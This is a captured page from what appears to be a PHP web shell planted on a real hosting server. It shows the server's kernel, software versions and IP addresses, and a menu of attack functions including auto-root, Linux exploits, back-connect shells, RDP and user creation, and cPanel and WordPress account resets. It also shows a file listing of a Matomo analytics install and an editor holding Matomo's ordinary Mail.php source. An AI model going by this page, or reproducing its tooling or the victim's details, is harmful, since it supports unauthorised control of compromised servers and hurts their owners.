Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.144.227.3
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Mail.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use DI\NotFoundException; use DI\DependencyException; use Piwik\Container\StaticContainer; use Piwik\Email\ContentGenerator; use Piwik\Plugins\CoreAdminHome\CustomLogo; use Piwik\Translation\Translator; use Psr\Log\LoggerInterface; /** * Class for sending mails * * @api */ class Mail { protected $fromEmail = ''; protected $fromName = ''; protected $bodyHTML = ''; protected $bodyText = ''; protected $subject = ''; protected $recipients = []; protected $replyTos = []; protected $bccs = []; protected $attachments = []; protected $smtpDebug = false; public function __construct() { } /** * Sets the sender. * * @param string $email Email address of the sender. * @param null|string $name Name of the sender. */ public function setFrom($email, $name = null) { $this->fromName = $name; $this->fromEmail = $this->parseDomainPlaceholderAsPiwikHostName($email); } /** * Sets the default sender * * @throws \DI\NotFoundException */ public function setDefaultFromPiwik() { $customLogo = new CustomLogo(); /** @var Translator $translator */ $translator = StaticContainer::get('Piwik\Translation\Translator'); $fromEmailName = Config::getInstance()->General['noreply_email_name']; if (empty($fromEmailName) && $customLogo->isEnabled()) { $fromEmailName = $translator->translate('CoreHome_WebAnalyticsReports'); } elseif (empty($fromEmailName)) { $fromEmailName = $translator->translate('TagManager_MatomoTagName'); } $fromEmailAddress = Config::getInstance()->General['noreply_email_address']; $this->setFrom($fromEmailAddress, $fromEmailName); } /** * Returns the address the mail will be sent from * * @return string */ public function getFrom() { return $this->fromEmail; } /** * Returns the address the mail will be sent from * * @return string */ public function getFromName() { return $this->fromName; } /** * @param View|string $body * @throws \DI\NotFoundException */ public function setWrappedHtmlBody($body) { $contentGenerator = StaticContainer::get(ContentGenerator::class); $bodyHtml = $contentGenerator->generateHtmlContent($body); $this->bodyHTML = $bodyHtml; } /** * Sets the HTML part of the mail * * @param $html */ public function setBodyHtml($html) { $this->bodyHTML = $html; } /** * Sets the text part of the mail. * If bodyHtml is set, this will be used as alternative text part * * @param $txt */ public function setBodyText($txt) { $this->bodyText = $txt; } /** * Returns html content of the mail * * @return string */ public function getBodyHtml() { return $this->bodyHTML; } /** * Returns text content of the mail * * @return string */ public function getBodyText() { return $this->bodyText; } /** * Sets the subject of the mail * * @param $subject */ public function setSubject($subject) { $subject = $this->sanitiseString($subject); $this->subject = $subject; } /** * Return the subject of the mail * * @return string */ public function getSubject() { return $this->subject; } /** * Adds a recipient * * @param string $address * @param string $name */ public function addTo($address, $name = '') { $this->recipients[$address] = $name; } /** * Returns the list of recipients * * @return array */ public function getRecipients() { return $this->recipients; } /** * Add Bcc address * * @param string $email * @param string $name */ public function addBcc($email, $name = '') { $this->bccs[$email] = $name; } /** * Returns the list of bcc addresses * * @return array */ public function getBccs() { return $this->bccs; } /** * Removes all recipients and bccs from the list */ public function clearAllRecipients() { $this->recipients = []; $this->bcc = []; } /** * Add Reply-To address * * @param string $email * @param string $name */ public function addReplyTo($email, $name = '') { $this->replyTos[$this->parseDomainPlaceholderAsPiwikHostName($email)] = $name; } /** * Sets the reply to address (all previously added addresses will be removed) * * @param string $email * @param string $name */ public function setReplyTo($email, $name = '') { $this->replyTos = []; $this->addReplyTo($email, $name); } /** * Returns the list of reply to addresses * * @return array */ public function getReplyTos() { return $this->replyTos; } public function addAttachment($body, $mimeType = '', $filename = null, $cid = null) { $filename = $this->sanitiseString($filename); $this->attachments[] = [ 'content' => $body, 'filename' => $filename, 'mimetype' => $mimeType, 'cid' => $cid ]; } public function getAttachments() { return $this->attachments; } /** * Sends the mail * * @return bool|null returns null if sending the mail was aborted by the Mail.send event * @throws \DI\NotFoundException */ public function send() { if (!$this->shouldSendMail()) { return false; } $mail = $this; /** * This event is posted right before an email is sent. You can use it to customize the email by, for example, replacing * the subject/body, changing the from address, etc. * * @param Mail $mail The Mail instance that is about to be sent. */ Piwik::postEvent('Mail.send', [$mail]); return StaticContainer::get('Piwik\Mail\Transport')->send($mail); } /** * If the send email process throws an exception, we catch it and log it * * @return void * @throws NotFoundException * @throws DependencyException */ public function safeSend() { try { $this->send(); } catch (\Exception $e) { // we do nothing but log if the email send was unsuccessful StaticContainer::get(LoggerInterface::class)->warning('Could not send {class} email: {exception}', ['class' => get_class($this), 'exception' => $e]); } } /** * Enables SMTP debugging * * @param bool $smtpDebug */ public function setSmtpDebug($smtpDebug = true) { $this->smtpDebug = $smtpDebug; } /** * Returns whether SMTP debugging is enabled or not * * @return bool */ public function isSmtpDebugEnabled() { return $this->smtpDebug; } /** * Returns the hostname mails will be sent from * * @return string */ public function getMailHost() { $hostname = Config::getInstance()->mail['defaultHostnameIfEmpty']; $piwikHost = Url::getCurrentHost($hostname); // If known Piwik URL, use it instead of "localhost" $piwikUrl = SettingsPiwik::getPiwikUrl(); $url = parse_url($piwikUrl); if ($this->isHostDefinedAndNotLocal($url)) { $piwikHost = $url['host']; } return $piwikHost; } /** * @param string $email * @return string */ protected function parseDomainPlaceholderAsPiwikHostName($email) { $piwikHost = $this->getMailHost(); return str_replace('{DOMAIN}', $piwikHost, $email); } /** * @param array $url * @return bool */ protected function isHostDefinedAndNotLocal($url) { return isset($url['host']) && !Url::isLocalHost($url['host']); } /** * Replaces characters known to appear incorrectly in some email clients * * @param $string * @return mixed */ public function sanitiseString($string) { $search = array('–', '’'); $replace = array('-', '\''); $string = str_replace($search, $replace, $string); return $string; } private function shouldSendMail() { $config = Config::getInstance(); $general = $config->General; if (empty($general['emails_enabled'])) { return false; } $shouldSendMail = true; $mail = $this; /** * This event is posted before sending an email. You can use it to abort sending a specific email, if you want. * * @param bool &$shouldSendMail Whether to send this email or not. Set to false to skip sending. * @param Mail $mail The Mail instance that will be sent. */ Piwik::postEvent('Mail.shouldSend', [&$shouldSendMail, $mail]); return $shouldSendMail; } }
Close